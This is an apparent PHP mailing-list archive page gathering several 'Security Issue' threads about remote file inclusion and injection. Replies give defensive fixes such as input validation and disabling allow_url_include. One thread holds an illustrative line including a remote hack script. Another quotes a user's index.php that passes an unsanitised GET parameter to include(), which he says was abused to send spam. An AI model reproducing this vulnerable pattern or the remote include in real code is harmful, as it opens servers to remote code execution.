file system, he is
imputing the code through some security hole. The
problem is that the
portal
is very big and has lots and lots partners hosted on
our estructure
structure. We are failing to identify the focus of this
attacks.
Any ideas?
Check all user input + upload: make sure that whatever
comes from the
user is validated. Then check all output: make sure that
everythin
output is escaped properly. Yes, it's an enormous task,
but there's no
way around it.
Regards
Peter
--
hype
WWW: http://plphp.dk / http://plind.dk
LinkedIn: http://www.linkedin.com/in/plind
BeWelcome/Couchsurfing: Fake51
Twitter: http://twitter.com/kafe15
/hype
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
What do you mean it's a PHP injection? PHP is all on the
server, and the
only way to get at that if you don't have direct access to the
server
(which you've said isn't possible as the passwords, etc are
all fine)
then the bad data is coming from either a form or another area
where
user data is expected. This data might be as simple as
unsanitised URL
variables that are intended to fetch a blog entry, to form
data sent in
a registration page.
All data coming from the user is bad until proven otherwise.
Thanks,
Ash
http://www.ashleysheridan.co.uk
That data is still coming from somewhere, so is still badly sanitised
RE: [PHP] Security Issue
From: Ashley Sheridan On Mon, 2010-06-07 at 15:00 -0300, Igor Escobar wrote: PHP Injection is the technical name given to a security hole in PHP applications. When this gap there is a hacker can do with an external code that is interpreted as an inner code as if the code included was more a part of the script. That data is still coming from somewhere, so is still badly sanitised data either coming from a form or a URL. You really should go over all the code to find these and root them out, which is a mammoth task. To narrow it down, those access logs I mentioned before will help. I think there are ways you can automatically detect security holes in your software, but if none of your user data is sanitised correctly, then virtually everything is a potential security hole. You need to narrow your search down a bit. Are there corrupted files on the server? Who has write privileges for those files and directories? Are they tracked via a content management system? Who last wrote to them? Can you further restrict who is allowed to write into those files and directories? Bob McConnell -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
On 07/06/2010 20:00, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external code
that is interpreted as an inner code as if the code included was more a part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
can you not switch off remote file includes in php.ini?
This will stop include/require from a remote host..
i.e. /allow_url_include = Off in php.ini
HTH
Rich
/
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PHP General Mailing List (http://www.php.net/)
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RE: [PHP] Security Issue
It was able to call up external includes using the below code which resulted that the server was used to send out spam. How can I protect the code? Is ../inc/ in the web path? $_SERVER['DOCUMENT_ROOT'] If so, then what do you mean by external includes? You need to move inc/ to a path unreachable by a browser yet reachable by PHP. _ Test your celebrity IQ. Play Red Carpet Reveal and earn great prizes! http://club.live.com/red_carpet_reveal.aspx?icid=redcarpet_hotmailtextlink2 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
Karl,
Some simple checks on $contpath could solve your problem. Make sure that:
- it doesn't start with a /
- doesn't contain /../
- it doesn't contain a double slash //, or make sure the URL Fopen wrapper
is disabled:
http://nl3.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen
Usually $contpath = str_replace('/', '', $contpath); takes care of
everything.
On 04/09/07, Karl-Heinz Schulz [EMAIL PROTECTED] wrote:
It was able to call up external includes using the below code which
resulted that the server was used to send out spam.
How can I protect the code?
TIA
?php
session_start();
//---
// index.php
//---
include(../inc/const.php);
include(../inc/mysql.php);
$menu=2;
include(../inc/static.php);
//include(../inc/prolog.php);
$base = getenv(SERVER_NAME).getenv(SCRIPT_NAME);
//$menu = $HTTP_GET_VARS['menu'];
$submenu_list = $HTTP_GET_VARS['submenu_list'];
$contfile = $HTTP_GET_VARS['contfile'];
$id = $HTTP_GET_VARS['id'];
$stk = $HTTP_GET_VARS['stk'];
$contpath = $HTTP_GET_VARS['contpath'];
if ($contpath==)
{ $contpath=./; }
?
html
head
titleNeuer Wissenschaftlicher Verlag - ?php print
$typ_subnav[$menu]?/title
script language=javascript SRC=../js/rollover.js/script
link rel=stylesheet href=../css/bor.css
/head
body bgcolor=#ff topmargin=0 leftmargin=0 marginheight=0
marginwidth=0 link=#00 vlink=#00 alink=#00
table height=100% width=100% topmargin=0 cellspacing=0
cellpadding=0 border=0
tr valign=top height=105
td colspan=3 valign=top
? include(../inc/prolog.php);?
/td
/tr
tr valign=top height=30
td valign=top height=30
background=../../img_pool/bg_left_right.gif?
include(../inc/leftmenu.php);?/td
td width=100%nbsp;/td
!-- hier ist die rechte spalte mit dem background --
!-- td height=30
background=../../img_pool/bg_left_right.gifimg src=../img/trans.gif
width=180 height=1/td --
/tr
tr valign=top
td valign=top
background=../../img_pool/bg_left_right.gif?php nav_menupic($menu);?
?php
//
// Subnavigation
//
include(../inc/subnav.php);
?
/td
!-- END LEFT-NAV --
td valign=top
?php include($contpath . /content.php);?
!-- END CONTENT --
/td
?//php include(../inc/epilog.php);
?
/tr
/table
/body
/html
--
Interpotential.com
Phone: +31615397471
Re: [PHP] Security Issue
Not really sure what you need suggestions on. There are tons of examples for querying MySQL databases from PHP out there around the net, not to mention the php.net mysql area itself. Scott Novinger wrote: Hello, Would someone please offer some specific suggestions for the following?: 1. I have several static web pages ready to be published on the internet. 2. We have chosed PHP, MySQL and Apache as part of our development system. 3. I would like to incorporate a PHP script into each static web page that queries a MySQL database. This script will determine whether or not the person trying to view the page has the proper security privledges. If I need to explain this problem in more detail, please let me know. Any help or suggestions are greatly appreciated. Unfortunately, you've not really given any amount of detail at all, beyond describing about every web-based application out there (aside from the PHP aspect of it). You need to determine what the criteria are for determining security privileges. Translate those criteria into fields in a database. Also translate the logic into PHP code. That's about it. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
